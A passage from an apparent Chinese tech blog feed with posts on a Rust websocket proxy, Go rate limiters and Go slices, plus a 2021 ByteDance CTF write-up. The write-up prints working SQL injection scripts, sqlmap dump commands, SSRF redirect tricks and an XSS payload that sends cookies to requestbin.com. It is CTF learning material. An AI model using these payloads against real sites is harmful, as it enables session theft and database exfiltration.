Weak&lt;Mutex&lt;Inner&lt;T&gt;&gt;&gt;,</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>看到这里，你可能就会想到，连接是如何放回池子里的了</p><ul><li>将连接放回pool</li></ul><p>当连接用完的时候，我们并不会关闭连接，而是通过它的析构函数，将连接放回池子里。所以我们可以为 <code>Pooled</code> 实现 <code>Drop</code> trait ，在 drop 里调用 pool 的 put 方法真正将连接放回池子里</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">impl</span>&lt;T&gt; <span class="built_in">Drop</span> <span class="keyword">for</span> <span class="title class_">Pooled</span>&lt;T&gt; &#123;</span><br><span class="line">    <span class="keyword">fn</span> <span class="title function_">drop</span>(&amp;<span class="keyword">mut</span> <span class="keyword">self</span>) &#123;</span><br><span class="line">        <span class="keyword">if</span> <span class="keyword">self</span>.inner.<span class="title function_ invoke__">is_none</span>() &#123;</span><br><span class="line">            info!(<span class="string">&quot;inner drop is not some?&quot;</span>);</span><br><span class="line">            <span class="keyword">return</span>;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">let</span> <span class="variable">t</span> = <span class="keyword">self</span>.inner.<span class="title function_ invoke__">take</span>().<span class="title function_ invoke__">unwrap</span>();</span><br><span class="line">        <span class="keyword">if</span> <span class="keyword">let</span> <span class="variable">Some</span>(pool) = <span class="keyword">self</span>.pool.<span class="title function_ invoke__">upgrade</span>() &#123;</span><br><span class="line">            <span class="keyword">if</span> <span class="keyword">let</span> <span class="variable">Ok</span>(<span class="keyword">mut</span> pool) = pool.<span class="title function_ invoke__">lock</span>() &#123;</span><br><span class="line">                pool.<span class="title function_ invoke__">put</span>(t);</span><br><span class="line">                info!(<span class="string">&quot;successfully put ws stream back to pool&quot;</span>)</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>从拿连接的逻辑我们就知道将连接放回池子应该做哪些事情了。先看有没有 waiter ，如果有 waiter ，直接将连接丢给 waiter，如果没有 waiter ，将连接放回 idle</p><ul><li>感知连接的状态</li></ul><p>如果pool中的连接自己挂了，没有及时感知到，client拿到了挂的连接，那用户使用体验会很糟糕呀。因此还需要周期性的检查pool中连接的状态，所以这里我们需要定义一个Poolable，如果不是reuseable的，就从pool中移除掉这个连接</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">pub</span> <span class="keyword">trait</span> <span class="title class_">Poolable</span> &#123;</span><br><span class="line">    <span class="comment">// check if the connection is opened</span></span><br><span class="line">    <span class="keyword">fn</span> <span class="title function_">reuseable</span>(&amp;<span class="keyword">self</span>) <span class="punctuation">-&gt;</span> <span class="type">bool</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>当然其实这个是比较通用的实现，在本代码中并没能做这件事情。因为底层无法感知连接的状态，还是需要上层主动探活，这个逻辑还没实现。</p><h3 id="为-WebSocketStream-实现-AsyncRead-AsyncWrite"><a href="#为-WebSocketStream-实现-AsyncRead-AsyncWrite" class="headerlink" title="为 WebSocketStream 实现 AsyncRead + AsyncWrite"></a>为 WebSocketStream 实现 AsyncRead + AsyncWrite</h3><p><a href="https://github.com/snapview/tokio-tungstenite">tokio_tungstenite</a> 设计上有很多让我感到奇怪的地方，在 client 端，不论你想建立的是 TLS 连接还是非 TLS 连接，拿到的都是 <code>WebSocketStream&lt;MaybeTlsStream&lt;TcpStream&gt;&gt;</code> ，server 拿到的都是 <code>WebSocketStream&lt;TlsStream&lt;TcpStream&gt;&gt;</code>，不过还好 MaybeTlsStream 和 TlsStream 都实现了 AysncRead 和 AsyncWrite，而不是分别为 client、server 的连接分别实现一次</p><p>对于 AsyncRead ，我们需要实现 poll_read 方法</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">pub</span> <span class="keyword">trait</span> <span class="title class_">AsyncRead</span> &#123;</span><br><span class="line">    <span class="keyword">fn</span> <span class="title function_">poll_read</span>(</span><br><span class="line">        <span class="keyword">self</span>: Pin&lt;&amp;<span class="keyword">mut</span> <span class="keyword">Self</span>&gt;,</span><br><span class="line">        cx: &amp;<span class="keyword">mut</span> Context&lt;<span class="symbol">&#x27;_</span>&gt;,</span><br><span class="line">        buf: &amp;<span class="keyword">mut</span> ReadBuf&lt;<span class="symbol">&#x27;_</span>&gt;,</span><br><span class="line">    ) <span class="punctuation">-&gt;</span> Poll&lt;io::<span class="type">Result</span>&lt;()&gt;&gt;;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>对于 AsyncWrite ，我们需要实现 poll_write poll_flush poll_shutdown</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">pub</span> <span class="keyword">trait</span> <span class="title class_">AsyncWrite</span> &#123;</span><br><span class="line">    <span class="keyword">fn</span> <span class="title function_">poll_write</span>(</span><br><span class="line">        <span class="keyword">self</span>: Pin&lt;&amp;<span class="keyword">mut</span> <span class="keyword">Self</span>&gt;,</span><br><span class="line">        cx: &amp;<span class="keyword">mut</span> Context&lt;<span class="symbol">&#x27;_</span>&gt;,</span><br><span class="line">        buf: &amp;[<span class="type">u8</span>],</span><br><span class="line">    ) <span class="punctuation">-&gt;</span> Poll&lt;<span class="type">Result</span>&lt;<span class="type">usize</span>, io::Error&gt;&gt;;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">fn</span> <span class="title function_">poll_flush</span>(<span class="keyword">self</span>: Pin&lt;&amp;<span class="keyword">mut</span> <span class="keyword">Self</span>&gt;, cx: &amp;<span class="keyword">mut</span> Context&lt;<span class="symbol">&#x27;_</span>&gt;) <span class="punctuation">-&gt;</span> Poll&lt;<span class="type">Result</span>&lt;(), io::Error&gt;&gt;;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">fn</span> <span class="title function_">poll_shutdown</span>(<span class="keyword">self</span>: Pin&lt;&amp;<span class="keyword">mut</span> <span class="keyword">Self</span>&gt;, cx: &amp;<span class="keyword">mut</span> Context&lt;<span class="symbol">&#x27;_</span>&gt;) <span class="punctuation">-&gt;</span> Poll&lt;<span class="type">Result</span>&lt;(), io::Error&gt;&gt;;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>有两点需要注意，在 copy_bidirectional 完成的时候，会执行 poll_shutdown ，由于我们需要复用底层连接，所以我们不应该真的关闭连接，而是发送 Close 包（告诉对端这次承载的 socks5 连接结束了，可以接受新的 socks 连接了），返回 <code>Poll::Ready(Ok(()))</code>。令一点是 poll_write 返回的 usize 长度不应该超过 buf 的长度（具体原因见另一篇文档 <a href="https://suikammd.github.io/zh-Hans/2021/09/22/record-a-weird-bug-fix-travel/">记一次有趣的查bug之旅 </a>）</p><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>使用 rust 写一个能够 work 的代理还是很容易的，但是让它足够鲁棒还是很难的，有很多细节需要考虑，特别是在连接异常情况下的错误处理。接下来还想做的事情是避免连接池中存在死的连接，一个是需要主动探活连接，一个是需要做 client 端重试（底层连接异常，触发上层有限次数重试）</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;熟悉一门语言的第一步可能是用它写个代理吧。看了很久 rust 的语法，工作上派不上啥用场，只能自己制造需求了，希望以后能找份写 rust 的工作，或者可以自由学东西的工作。&lt;/p&gt;
&lt;h2 id=&quot;这个代理有什么特点？&quot;&gt;&lt;a href=&quot;#这个代理有什么特点？&quot; class=&quot;headerlink&quot; title=&quot;这个代理有什么特点？&quot;&gt;&lt;/a&gt;这个代理有什么特点？&lt;/h2&gt;&lt;ul&gt;
&lt;li&gt;基于 rust&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;主要目的是练习写 rust ，另外 rust 安全高效&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;基于 tls websocket&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;过神秘的墙需要加密连接，否则容易毙掉。常见的做法类似 shadowsocks ，自定义加密协议，但是这种比较麻烦，偷懒直接使用 TLS websocket 来做这件事&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;池化 websocket 连接&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;池化连接的好处不容多说，少了建立连接的时间，代理速度更快&lt;/p&gt;
&lt;p&gt;代理大体流程是这样的：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/jlSE51Z.png&quot; alt=&quot;rust-proxy-pipeline&quot;&gt;&lt;/p&gt;
&lt;p&gt;代码地址：&lt;a href=&quot;https://github.com/suikammd/rust-proxy&quot;&gt;https://github.com/suikammd/rust-proxy&lt;/a&gt;&lt;/p&gt;</summary>
    
    
    
    
    <category term="rust" scheme="https://suikammd.github.io/zh-Hans/tags/rust/"/>
    
  </entry>
  
  <entry>
    <title>2021 bytedance CTF writeup</title>
    <link href="https://suikammd.github.io/zh-Hans/2021/08/15/2021-bytedance-ctf/"/>
    <id>https://suikammd.github.io/zh-Hans/2021/08/15/2021-bytedance-ctf/</id>
    <published>2021-08-15T13:35:33.000Z</published>
    <updated>2026-11-19T12:58:15.307Z</updated>
    
    <content type="html"><![CDATA[<p>小白的CTF初体验，感谢海大佬的耐心指导！</p><p>题型包括SQL注入、SSRF、XSS、权限绕过、信息泄漏、安卓。字节出的大部分题型都包含多道题，题目的难度也是由浅入深的。比如SQL注入，你可以看到第一道题的golang源码，直接就可以看到gorm是如何拼接字符串的，接下来的几道题目会逐渐减少对参赛者暴露的信息。</p><p>优秀工具介绍：</p><ol><li>burp 作为proxy抓包，把请求配知道repeater，可以任意修改请求参数来测试</li><li>sqlmap sql注入解题利器</li><li>requestbin.com 随意生成bin，可以接收测试请求</li><li>cloudflare worker 快速创建测试服务</li></ol><span id="more"></span><h4 id="SSRF"><a href="#SSRF" class="headerlink" title="SSRF"></a>SSRF</h4><ol><li><p>我们想要拿到的flag就在 127.0.0.1:8080&#x2F;flag，而服务端限制直接访问 127.0.0.1，猜测可能是限制输入地址包含 127（包括限制host是 127.0.0.1），或者限制host可以解析到 127，或者更夸张一些限制Follow，禁止 301&#x2F;302 到 127。基于此猜想，可以做以下尝试：</p><p>（1）直接在host中写 127，那肯定是被毙掉的</p><p>（2）找一个域名，这个域名是解析到 127 的，但是提交之后被毙掉了，这就证明了服务端会同时禁掉输入地址包含 127 和 域名可以解析到 127</p><p>（3）尝试看是否可以 301&#x2F;302 到 127，这时候可以使用自己的域名对外提供服务，当接收到请求时，会返回 302&#x2F;301，同时设置 Location 是 127.0.0.1:8080&#x2F;flag ，最好修改下 XFF 为 127.0.0.1 。这时候服务端校验通过，可以正常拿到 flag 啦。这里采用的解决办法是：使用 cloudflare 的 workers 来实现这个需求这个 worker 可以理解为普通的云函数，可以随意创建修改发布</p><p>稍微拓展思考下，如果 Follow 被 ban 了呢？有一个比较 tricky 的解决办法，继续使用 cloudflare 的 worker ，但是这里不是无脑 30x 到 127，而是概率性 30x 到 127，这样就就有概率不会被服务端 ban 掉，这时候可以再修改为必定 30x 即可</p></li><li><p>服务端输入只允许某个域名（根本就不存在）</p><p>需要想写服务的人会怎么处理输入的url（如果用库的话根本不会有漏洞），考虑到url的标准定义: 协议 + :&#x2F;&#x2F; + 用户名:密码@域名:端口&#x2F;路径?query，所以我们可以把用户名写成要求的域名尝试。果然可以！</p></li></ol><h4 id="XSS"><a href="#XSS" class="headerlink" title="XSS"></a>XSS</h4><p>原题有三道，并且是循序渐进的。</p><p>第一道是提交留言，然后提交留言id给admin审核，这个时候不会限制输入内容，所以可以直接写js脚本，管理员查看输入内容的时候，就可以拿到它的document.cookie了，可以通过</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">img</span> <span class="attr">src</span>=<span class="string">x</span> <span class="attr">onerror</span>=&lt;<span class="attr">requestbin.com</span>&gt;</span>&gt;</span><br></pre></td></tr></table></figure><p>把document.cookie塞到query里就可以了。</p><p>这里介绍下requestbin，可以快速创建bin，接收任意请求。</p><p>第二道也是提交留言，但是限制留言内容里写js关键字，但是发现页面右上角有户名旁边多了个头像，点击之后发现可以上传头像。通过burp抓到上传头像的请求，发现对头像的限制仅仅是针对头像扩展名，只限制了部分扩展名不能上传，很多乱七八糟的扩展名（比如*.adafd）是可以上传的。所以同上一题，我们可以把文件内容写成同样的内容，这样就成功拿到flag啦</p><p>第三道没做出来，还是要多思考</p><h4 id="SQL注入"><a href="#SQL注入" class="headerlink" title="SQL注入"></a>SQL注入</h4><p>SQL注入的四道题也是剩了一道，第一道题是直接提供了源码给参赛者看，第二道题告诉你有个必定存在的用户名，第三道题在query告诉你query里有哪些可以利用的参数。</p><p>先介绍下sqlmap，可以解决大部分SQL注入的题，如下所示</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">python sqlmap.py -r h --level=5 --risk=3 --dbms=mysql --random-agent --dump -D CTF -T flag -C flag</span><br></pre></td></tr></table></figure><p>我们也可以用循序渐进的方式，观察数据库的情况</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">python sqlmap.py -r h --level=5 --risk=3 --dbms=mysql --random-agent --tables</span><br><span class="line">python sqlmap.py -r h --level=5 --risk=3 --dbms=mysql --random-agent --dump -D CTF</span><br><span class="line">python sqlmap.py -r h --level=5 --risk=3 --dbms=mysql --random-agent --dump -D CTF -T flag</span><br><span class="line">python sqlmap.py -r h --level=5 --risk=3 --dbms=mysql --random-agent --dump -D CTF -T flag -C flag</span><br></pre></td></tr></table></figure><p>第一道题：直接告诉了源码是什么，注入点在order by，可以通过时间盲注的方式猜测数据库的表结构和表内容。如果满足if的条件，就会sleep2秒，这时候就会导致请求超时进入exception，这时候我们可以认为某个字符命中了j的ascii码。注意括号的位置，特别是在mid里，select语句需要加上括号</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"></span><br><span class="line">url = <span class="string">&quot;http://10.92.20.150:8287/&quot;</span></span><br><span class="line">params = &#123;</span><br><span class="line">    <span class="string">&quot;content&quot;</span>: <span class="string">&quot;%&quot;</span>,</span><br><span class="line">    <span class="string">&quot;order&quot;</span>: <span class="string">&quot;&quot;</span></span><br><span class="line">&#125;</span><br><span class="line">flag = <span class="string">&quot;&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">1</span>, <span class="number">100</span>):</span><br><span class="line"><span class="keyword">for</span> j <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">32</span>, <span class="number">127</span>):</span><br><span class="line"><span class="comment"># params[&#x27;order&#x27;] = &quot;if(ascii(mid((select group_concat(table_name) from information_schema.TABLES where table_schema=DATABASE()), &#123;&#125;, 1))=&#123;&#125;, SLEEP(2), 0)&quot;.format(str(i),str(j)) // 拿到所有表名</span></span><br><span class="line"><span class="comment"># params[&#x27;order&#x27;] = &quot;if(ascii(mid((select group_concat(column_name) from information_schema.COLUMNS where table_name=&#x27;flag&#x27;), &#123;&#125;, 1))=&#123;&#125;, SLEEP(2), 0)&quot;.format(str(i),str(j)) // 拿到flag表名对应的column名</span></span><br><span class="line">params[<span class="string">&#x27;order&#x27;</span>] = <span class="string">&quot;if(ascii(mid((select flag from flag),&#123;&#125;,1))=&#123;&#125;, sleep(2), 0)&quot;</span>.<span class="built_in">format</span>(<span class="built_in">str</span>(i), <span class="built_in">str</span>(j)) // 拿到flag</span><br><span class="line"><span class="keyword">try</span>:</span><br><span class="line">requests.get(url, params=params, timeout=<span class="number">2</span>)</span><br><span class="line"><span class="keyword">except</span>:</span><br><span class="line">flag += <span class="built_in">chr</span>(j)</span><br><span class="line"><span class="built_in">print</span>(flag)</span><br><span class="line"><span class="keyword">break</span></span><br><span class="line"></span><br></pre></td></tr></table></figure><p>第二道题：已经提示id是注入点，并且有回显报错，可以使用updatexml的特性拿到想要的信息</p><p>经过测试发现报错提示里有个不匹配的又括号，于是猜测语句可能是这个样子的</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">select * from news where id=(...)</span><br></pre></td></tr></table></figure><p>左边括号之后是可以注入的部分，所以我们可以考虑闭合括号</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">select * from news where id=(1) ... -- </span><br></pre></td></tr></table></figure><p>接着就可以用updatexml了</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">// 拿到所有的表名</span><br><span class="line">and updatexml(1, concat(0x7e, (select group_concat(table_name) from information_schema.tables where table_name=database()), 0x7e), 1) -- </span><br><span class="line">// 拿到所有的库名</span><br><span class="line">and updatexml(1, concat(0x7e, (select group_concat(column_name) from information_schema.columns where table_name=&#x27;flag&#x27;), 0x7e), 1) -- </span><br><span class="line">// 拿到flag前20位（报错回显有长度限制）</span><br><span class="line">and updatexml(1, concat(0x7e, (select group_concat(mid(flag, 1, 20)) from flag), 0x7e), 1) -- </span><br><span class="line">// 拿到flag后20位</span><br><span class="line">and updatexml(1, concat(0x7e, (select group_concat(mid(flag, 21, 20)) from flag), 0x7e), 1) -- </span><br></pre></td></tr></table></figure><p>第三道题：告诉你有个admin用户存在，通过burp抓包发现接口是这样的</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">POST /get</span><br><span class="line">&#123;</span><br><span class="line">&quot;uanme&quot;: &quot;admin&quot;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">返回</span><br><span class="line">&#123;</span><br><span class="line">&quot;message&quot;: &quot;find user&quot;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>于是尝试以下几种请求猜测可能的sql语句</p><ol><li><code>admin&#39; -- </code> 发现返回no user find，说明不能无脑注释后面的数据，可能有其他没有闭合的括号</li><li><code>admin&#39; and &#39;1</code>，返回find user</li><li><code>admin&#39;) -- </code>正常返回find user，说明确实有没有闭合的括号</li></ol><p>剩下就可以按照第二道题来了</p><p>第四道题：发现输入id&#x3D;1和id&#x3D;2-1的结果是一样的，说明id是注入点，并且查询可以看到id&#x3D;1的数据。但是当想要通过union select做一些尝试时，提示非法输入字符，最终发现select被禁止了。这时候就应该知道mysql的版本应该是8.x的，不然select被禁止基本无法跨表查询了</p><ol><li>通过<code>ascii(mid(database(),&#123;&#125;,1))=&#123;&#125;</code>拿到database的名称（其实不拿也没关系，应为database拿到作用也不大）</li><li>查看当前database有哪些表</li></ol><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">def get_table_name():</span><br><span class="line">table = &quot;&quot;</span><br><span class="line">for i in range(1, 50):</span><br><span class="line">for j in range(32, 127):</span><br><span class="line">params[&quot;id&quot;] = &quot;1) and (&#x27;def&#x27;, DATABASE(), &#x27;&#123;&#125;&#123;&#125;&#x27;, &#x27;&#x27;, 5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21) &gt; (table information_schema.tables limit 327,1&quot;.format(table, chr(j))</span><br><span class="line">r = requests.get(url, params=params)</span><br><span class="line">if &quot;this is news123&quot; in r.text:</span><br><span class="line">table += chr(j - 1)</span><br><span class="line">print(table, chr(j - 1))</span><br><span class="line">break</span><br><span class="line">print(table)</span><br><span class="line"></span><br><span class="line">def get_column_name():</span><br><span class="line">column</span><br></pre></td></tr></table></figure><ol start="3"><li>一般情况下flag表只有一个column，我们可以这样测试下<code>1) and (&#39;&#39;)&lt;(table fflll444g limit 0,1</code>，正确返回，所以我们确定flag只有一个column</li><li>通过布尔盲注拿到flag，或者通过union values row(1, (table fflll444g))</li></ol>]]></content>
    
    
    <summary type="html">&lt;p&gt;小白的CTF初体验，感谢海大佬的耐心指导！&lt;/p&gt;
&lt;p&gt;题型包括SQL注入、SSRF、XSS、权限绕过、信息泄漏、安卓。字节出的大部分题型都包含多道题，题目的难度也是由浅入深的。比如SQL注入，你可以看到第一道题的golang源码，直接就可以看到gorm是如何拼接字符串的，接下来的几道题目会逐渐减少对参赛者暴露的信息。&lt;/p&gt;
&lt;p&gt;优秀工具介绍：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;burp 作为proxy抓包，把请求配知道repeater，可以任意修改请求参数来测试&lt;/li&gt;
&lt;li&gt;sqlmap sql注入解题利器&lt;/li&gt;
&lt;li&gt;requestbin.com 随意生成bin，可以接收测试请求&lt;/li&gt;
&lt;li&gt;cloudflare worker 快速创建测试服务&lt;/li&gt;
&lt;/ol&gt;</summary>
    
    
    
    
    <category term="ctf" scheme="https://suikammd.github.io/zh-Hans/tags/ctf/"/>
    
  </entry>
  
  <entry>
    <title>限流器</title>
    <link href="https://suikammd.github.io/zh-Hans/2020/12/11/restrictor/"/>
    <id>https://suikammd.github.io/zh-Hans/2020/12/11/restrictor/</id>
    <published>2020-12-11T03:06:18.000Z</published>
    <updated>2026-11-19T12:58:15.312Z</updated>
    
    <content type="html"><![CDATA[<p>限流器主要是防止高并发流量打垮服务，常见的限流器算法有计数器、令牌桶和漏桶，令牌桶在令牌不足时会直接拒绝请求，漏桶在请求不足时会阻塞请求。本文实现一个允许适量流量激增的限流器。只是写着玩，不要喷我写的挫谢谢。</p><span id="more"></span><h4 id="计数器"><a href="#计数器" class="headerlink" title="计数器"></a>计数器</h4><p>计数器这种类型的限流器比较简单，只要无脑判断窗口内的请求有没有达到限制即可，同时也需要有个后台进程定期重置窗口的请求量。</p><ol><li><p>固定窗口 </p><p>限制单位时间内的请求，比如QPS 1k，判断1s内计数是否达到1k，到达就拒绝请求，1s之后清空计数器</p><p>（1）需要一个goroutine每秒重置counter，利用time.Ticker即可</p><p>（2）每次请求过来，都要判断下counter是否达到限制，如果达到限制则拒绝请求，否则执行请求。多个并发请求，需要获得锁才能够修改counter</p></li><li><p>滑动窗口</p><p>滑动窗口可以在固定窗口的基础上，做更细粒度的划分，比如把1s的请求分成1000个桶，每个桶代表1ms的时间范围。</p><p>（1）每个桶单独维护当前时间范围内的请求个数。这样在请求到来的时候，需要遍历所有的桶计算请求总数</p><p>（2）需要一个定时任务，每隔1ms移除掉一个桶，同时增加一个新桶，具体实现可以采用双向链表，桶对应到链表的一个节点</p><p>下面是实现滑动窗口版需要的数据结构，Node的开始结束时间是为了在</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">type</span> Node <span class="keyword">struct</span> &#123;</span><br><span class="line">next    *Node</span><br><span class="line">counter <span class="type">int</span></span><br><span class="line"></span><br><span class="line">start time.Time</span><br><span class="line">end   time.Time</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">type</span> LinkedList <span class="keyword">struct</span> &#123;</span><br><span class="line">Size <span class="type">int</span></span><br><span class="line">Head *Node</span><br><span class="line">Tail *Node</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">type</span> SlidingCounter <span class="keyword">struct</span> &#123;</span><br><span class="line">Limit    <span class="type">int</span></span><br><span class="line">interval <span class="type">int</span></span><br><span class="line">list     *LinkedList</span><br><span class="line"></span><br><span class="line">Ticker *time.Ticker</span><br><span class="line">stopCh <span class="keyword">chan</span> <span class="type">bool</span></span><br><span class="line"></span><br><span class="line">sync.Mutex</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></li></ol><h4 id="令牌桶"><a href="#令牌桶" class="headerlink" title="令牌桶"></a>令牌桶</h4><p>从名字来看，可以知道令牌桶其实就是请求到来的时候，如果能拿到令牌就可以继续请求，否则就会拒绝请求，这里我们需要一个后台进程定期往令牌桶里放入令牌，保证在时间窗口内的令牌数据是始终为最大限制。用golang的话写起来就很方便，搞一个buffered channel就可以了。</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">type</span> Bucket <span class="keyword">struct</span> &#123;</span><br><span class="line">limit  <span class="type">int</span></span><br><span class="line">bucket <span class="keyword">chan</span> <span class="type">bool</span></span><br><span class="line"></span><br><span class="line">ticker *time.Ticker</span><br><span class="line">stopCh <span class="keyword">chan</span> <span class="type">bool</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h4 id="漏桶"><a href="#漏桶" class="headerlink" title="漏桶"></a>漏桶</h4><p>漏桶可以接受一定量的请求激增，但是处理速度是固定的。比如QPS 1k&#x2F;s，可以采用定时任务每1ms往一个buffered channel塞数据，这样可以保证固定的处理速率。这里就先不实现了，在令牌桶的基础上改一改就可以了。</p><p>我上面实现的都是比较粗糙的写法，真正的限流器用法应该是RateLimiter.take()，能够拿到就可以处理请求。</p><p>具体实现见代码<a href="">rate-limiter</a></p><h4 id="主流限流器实现方法"><a href="#主流限流器实现方法" class="headerlink" title="主流限流器实现方法"></a>主流限流器实现方法</h4><p>我的实现方法是可以理解为定时放令牌，而主流的方法是计算请求到来的时候可以拿多少个令牌。golang官方扩展包<code>github/go/time</code>是基于令牌桶实现，uber开源库是基于漏桶实现的。</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;限流器主要是防止高并发流量打垮服务，常见的限流器算法有计数器、令牌桶和漏桶，令牌桶在令牌不足时会直接拒绝请求，漏桶在请求不足时会阻塞请求。本文实现一个允许适量流量激增的限流器。只是写着玩，不要喷我写的挫谢谢。&lt;/p&gt;</summary>
    
    
    
    
    <category term="Golang" scheme="https://suikammd.github.io/zh-Hans/tags/Golang/"/>
    
  </entry>
  
  <entry>
    <title>理解golang函数传递slice</title>
    <link href="https://suikammd.github.io/zh-Hans/2020/11/11/golong-slice-function/"/>
    <id>https://suikammd.github.io/zh-Hans/2020/11/11/golong-slice-function/</id>
    <published>2020-11-11T07:30:34.000Z</published>
    <updated>2026-11-19T12:58:15.312Z</updated>
    
    <content type="html"><![CDATA[<p>开始看golang的时候，最纠结的就是函数传递slice，这个slice到底有没有发生变化。最近发现周围的同事也没有弄清楚，于是打算仔细看下，在函数里修改传递的slice会不会改变原来的slice。</p><h4 id="slice-结构"><a href="#slice-结构" class="headerlink" title="slice 结构"></a>slice 结构</h4><p>首先从slice的结构入手，可以看到slice底层其实就是一个数组</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">type</span> slice <span class="keyword">struct</span> &#123;</span><br><span class="line">array unsafe.Pointer</span><br><span class="line"><span class="built_in">len</span>   <span class="type">int</span></span><br><span class="line"><span class="built_in">cap</span>   <span class="type">int</span></span><br><span class="line">&#125;</span><br><span 